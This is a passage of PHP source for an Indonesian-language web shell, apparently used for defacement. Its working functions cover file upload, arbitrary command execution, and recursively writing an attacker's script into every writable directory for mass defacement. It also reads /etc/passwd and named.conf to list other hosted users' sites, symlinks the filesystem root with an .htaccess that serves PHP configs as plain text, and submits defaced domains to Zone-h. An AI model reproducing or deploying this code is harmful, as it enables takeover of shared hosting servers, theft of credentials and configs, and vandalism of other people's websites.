';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo 'Berhasil!!
';
}else{
echo 'Gagal!!
';
}
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$kernel = php_uname();
$ds = @ini_get("disable_functions");
$show_ds = (!empty($ds)) ? "$ds" : "BERSIH!!";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
echo "Disable Functions : $show_ds
";
echo "System : ".$kernel."
";
echo "";
echo "
";
echo "[ Home ] - ";
echo "[ Config ] - ";
echo "[ Zone-h ] - ";
echo "[ Jumping ] - ";
echo "[ Symlink ] - ";
echo "[ Mass Depes ] - ";
echo "[ Command ]";
echo "";
echo "
";
if($_GET['to'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("\r\n", $_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
";
echo "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick
";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"green\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> OK
";
} else {
echo "$url -> ERROR
";
}
}
} else {
echo "";
}
echo "";
} elseif($_GET['to'] == 'mass') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[DONE] $lokasi
";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[DONE] $dirb/$namafile
";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo " ";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo " ";
}
} else {
echo "";
echo "";
}
##JUMPING
} elseif($_GET['a'] == 'jumping') {
$i = 0;
echo "";
$etc = fopen("/etc/passwd", "r") or die(" Can't read /etc/passwd");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo " Can't read /etc/passwd";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[ R] $user_jumping_dir";
if(is_writable($user_jumping_dir)) {
$jrw = "[ RW] $user_jumping_dir";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( gagal mengambil nama domain nya ) ";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( $dj ) ";
break;
}
}
}
} else {
echo " ";
}
}
}
}
}
if($i == 0) {
} else {
echo " Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
echo "
";
}
} elseif($_GET['a'] == 'cmd') {
echo "";
if($_POST['do_cmd']) {
echo "".exe($_POST['cmd'])." ";
}
}
elseif($_GET['a'] == 'symlink') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("sanrei_sym",0777);
@chdir("sanrei_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex sanrei.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
| S. No. |
Domains |
Users |
Symlink |
";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "| " . $dcount . " |
".$domains[1][0]." |
".$user['name']." |
Symlink | ";
flush();
$dcount++;}}}
echo " ";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("sanrei_sym",0777);
@chdir("sanrei_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex sanrei.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
| S. No. |
Users |
Symlink | ";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "| " . $dcount . " |
" . $matches . " | ";
echo "Symlink | ";
$dcount++;}fclose($file);
echo "
";}else{if($os != "Windows"){@mkdir("sanrei_sym",0777);@chdir("sanrei_sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex sanrei.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
server symlinker
| ID |
Users |
Symlink | ";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."\n";}
echo '
';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "| " . $dcount . " |
" . $matches . " | ";
echo "Symlink | ";
$dcount++;}
fclose($file);
echo "
Configurations";
}
if($_POST['config'] == 'symlink') {
echo "
Symlinknya
Configurations";
}if($_POST['config'] == 'symvhost') {
echo "
Root Server
Configurations";
}
}else{
echo " |
\n";
}
}
echo '